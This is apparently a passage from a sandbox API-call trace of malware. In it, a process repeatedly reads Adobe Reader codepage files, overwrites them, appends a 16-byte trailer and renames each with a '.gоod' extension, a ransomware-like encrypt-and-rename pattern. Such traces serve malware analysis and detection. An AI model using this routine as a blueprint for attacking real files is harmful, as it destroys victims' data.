[0111.630] GetFileType (hFile=0x20c) returned 0x1 [0111.630] SetFilePointer (in: hFile=0x20c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x1000 [0111.630] ReadFile (in: hFile=0x20c, lpBuffer=0x3419540, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceba18, lpOverlapped=0x0 | out: lpBuffer=0x3419540*, lpNumberOfBytesRead=0x1fceba18*=0x1000, lpOverlapped=0x0) returned 1 [0111.631] CloseHandle (hObject=0x20c) returned 1 [0111.631] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT", lpFilePart=0x0) returned 0x63 [0111.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0111.631] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1254.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0111.631] GetFileType (hFile=0x20c) returned 0x1 [0111.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0111.632] GetFileType (hFile=0x20c) returned 0x1 [0111.632] SetFilePointer (in: hFile=0x20c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x258f [0111.632] WriteFile (in: hFile=0x20c, lpBuffer=0x341a808*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fceb938, lpOverlapped=0x0 | out: lpBuffer=0x341a808*, lpNumberOfBytesWritten=0x1fceb938*=0x10, lpOverlapped=0x0) returned 1 [0111.633] CloseHandle (hObject=0x20c) returned 1 [0111.633] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT", lpFilePart=0x0) returned 0x63 [0111.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0111.633] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1254.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0111.633] GetFileType (hFile=0x20c) returned 0x1 [0111.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0111.633] GetFileType (hFile=0x20c) returned 0x1 [0111.633] ReadFile (in: hFile=0x20c, lpBuffer=0x341cb18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceb9c8, lpOverlapped=0x0 | out: lpBuffer=0x341cb18*, lpNumberOfBytesRead=0x1fceb9c8*=0x1000, lpOverlapped=0x0) returned 1 [0112.127] CloseHandle (hObject=0x20c) returned 1 [0112.127] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT", lpFilePart=0x0) returned 0x63 [0112.127] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0112.127] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1254.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0112.127] GetFileType (hFile=0x20c) returned 0x1 [0112.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0112.127] GetFileType (hFile=0x20c) returned 0x1 [0112.127] WriteFile (in: hFile=0x20c, lpBuffer=0x33e1218*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fceba78, lpOverlapped=0x0 | out: lpBuffer=0x33e1218*, lpNumberOfBytesWritten=0x1fceba78*=0x1010, lpOverlapped=0x0) returned 1 [0112.127] CloseHandle (hObject=0x20c) returned 1 [0112.127] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT", lpFilePart=0x0) returned 0x63 [0112.127] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT.gоod", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT.gоod", lpFilePart=0x0) returned 0x68 [0112.127] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9b0) returned 1 [0112.127] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1254.txt"), fInfoLevelId=0x0, lpFileInformation=0x1fceba90 | out: lpFileInformation=0x1fceba90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdebcbf36, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3f0b570d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x259f)) returned 1 [0112.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb970) returned 1 [0112.128] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1254.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1254.txt.gоod")) returned 1 [0112.128] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT", lpFilePart=0x0) returned 0x63 [0112.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9f0) returned 1 [0112.128] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1257.txt"), fInfoLevelId=0x0, lpFileInformation=0x36adc50 | out: lpFileInformation=0x36adc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x250f)) returned 1 [0112.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb9b0) returned 1 [0112.129] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT", lpFilePart=0x0) returned 0x63 [0112.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0112.129] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1257.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0112.129] GetFileType (hFile=0x20c) returned 0x1 [0112.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0112.129] GetFileType (hFile=0x20c) returned 0x1 [0112.129] SetFilePointer (in: hFile=0x20c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x1000 [0112.130] ReadFile (in: hFile=0x20c, lpBuffer=0x36ae4b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceba18, lpOverlapped=0x0 | out: lpBuffer=0x36ae4b0*, lpNumberOfBytesRead=0x1fceba18*=0x1000, lpOverlapped=0x0) returned 1 [0112.131] CloseHandle (hObject=0x20c) returned 1 [0112.131] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT", lpFilePart=0x0) returned 0x63 [0112.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0112.131] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1257.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0112.131] GetFileType (hFile=0x20c) returned 0x1 [0112.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0112.131] GetFileType (hFile=0x20c) returned 0x1 [0112.131] SetFilePointer (in: hFile=0x20c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x250f [0112.132] WriteFile (in: hFile=0x20c, lpBuffer=0x36afc70*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fceb938, lpOverlapped=0x0 | out: lpBuffer=0x36afc70*, lpNumberOfBytesWritten=0x1fceb938*=0x10, lpOverlapped=0x0) returned 1 [0112.133] CloseHandle (hObject=0x20c) returned 1 [0112.133] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT", lpFilePart=0x0) returned 0x63 [0112.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0112.133] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1257.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0112.133] GetFileType (hFile=0x20c) returned 0x1 [0112.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0112.133] GetFileType (hFile=0x20c) returned 0x1 [0112.133] ReadFile (in: hFile=0x20c, lpBuffer=0x36b1fc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceb9c8, lpOverlapped=0x0 | out: lpBuffer=0x36b1fc0*, lpNumberOfBytesRead=0x1fceb9c8*=0x1000, lpOverlapped=0x0) returned 1 [0112.389] CloseHandle (hObject=0x20c) returned 1 [0112.389] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT", lpFilePart=0x0) returned 0x63 [0112.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0112.389] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1257.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0112.389] GetFileType (hFile=0x20c) returned 0x1 [0112.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0112.389] GetFileType (hFile=0x20c) returned 0x1 [0112.389] WriteFile (in: hFile=0x20c, lpBuffer=0x3409f18*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fceba78, lpOverlapped=0x0 | out: lpBuffer=0x3409f18*, lpNumberOfBytesWritten=0x1fceba78*=0x1010, lpOverlapped=0x0) returned 1 [0112.389] CloseHandle (hObject=0x20c) returned 1 [0112.390] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT", lpFilePart=0x0) returned 0x63 [0112.390] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT.gоod", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT.gоod", lpFilePart=0x0) returned 0x68 [0112.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9b0) returned 1 [0112.390] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1257.txt"), fInfoLevelId=0x0, lpFileInformation=0x1fceba90 | out: lpFileInformation=0x1fceba90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3f33df39, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x251f)) returned 1 [0112.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb970) returned 1 [0112.390] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1257.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1257.txt.gоod")) returned 1 [0112.391] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT", lpFilePart=0x0) returned 0x63 [0112.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9f0) returned 1 [0112.391] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1258.txt"), fInfoLevelId=0x0, lpFileInformation=0x3504788 | out: lpFileInformation=0x3504788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2505)) returned 1 [0112.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb9b0) returned 1 [0112.391] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT", lpFilePart=0x0) returned 0x63 [0112.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0112.391] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1258.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0112.391] GetFileType (hFile=0x20c) returned 0x1 [0112.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0112.392] GetFileType (hFile=0x20c) returned 0x1 [0112.392] SetFilePointer (in: hFile=0x20c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x1000 [0112.392] ReadFile (in: hFile=0x20c, lpBuffer=0x3504c00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceba18, lpOverlapped=0x0 | out: lpBuffer=0x3504c00*, lpNumberOfBytesRead=0x1fceba18*=0x1000, lpOverlapped=0x0) returned 1 [0112.393] CloseHandle (hObject=0x20c) returned 1 [0112.393] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT", lpFilePart=0x0) returned 0x63 [0112.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0112.393] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1258.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0112.393] GetFileType (hFile=0x20c) returned 0x1 [0112.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0112.393] GetFileType (hFile=0x20c) returned 0x1 [0112.393] SetFilePointer (in: hFile=0x20c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x2505 [0112.393] WriteFile (in: hFile=0x20c, lpBuffer=0x3505ec8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fceb938, lpOverlapped=0x0 | out: lpBuffer=0x3505ec8*, lpNumberOfBytesWritten=0x1fceb938*=0x10, lpOverlapped=0x0) returned 1 [0112.394] CloseHandle (hObject=0x20c) returned 1 [0112.394] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT", lpFilePart=0x0) returned 0x63 [0112.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0112.394] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1258.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0112.394] GetFileType (hFile=0x20c) returned 0x1 [0112.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0112.394] GetFileType (hFile=0x20c) returned 0x1 [0112.394] ReadFile (in: hFile=0x20c, lpBuffer=0x35081b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceb9c8, lpOverlapped=0x0 | out: lpBuffer=0x35081b8*, lpNumberOfBytesRead=0x1fceb9c8*=0x1000, lpOverlapped=0x0) returned 1 [0113.190] CloseHandle (hObject=0x20c) returned 1 [0113.190] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT", lpFilePart=0x0) returned 0x63 [0113.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0113.190] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1258.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0113.190] GetFileType (hFile=0x20c) returned 0x1 [0113.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0113.190] GetFileType (hFile=0x20c) returned 0x1 [0113.190] WriteFile (in: hFile=0x20c, lpBuffer=0x3416f50*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fceba78, lpOverlapped=0x0 | out: lpBuffer=0x3416f50*, lpNumberOfBytesWritten=0x1fceba78*=0x1010, lpOverlapped=0x0) returned 1 [0113.311] CloseHandle (hObject=0x20c) returned 1 [0113.311] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT", lpFilePart=0x0) returned 0x63 [0113.311] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT.gоod", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT.gоod", lpFilePart=0x0) returned 0x68 [0113.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9b0) returned 1 [0113.311] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1258.txt"), fInfoLevelId=0x0, lpFileInformation=0x1fceba90 | out: lpFileInformation=0x1fceba90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3fc0c18b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2515)) returned 1 [0113.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb970) returned 1 [0113.311] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1258.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 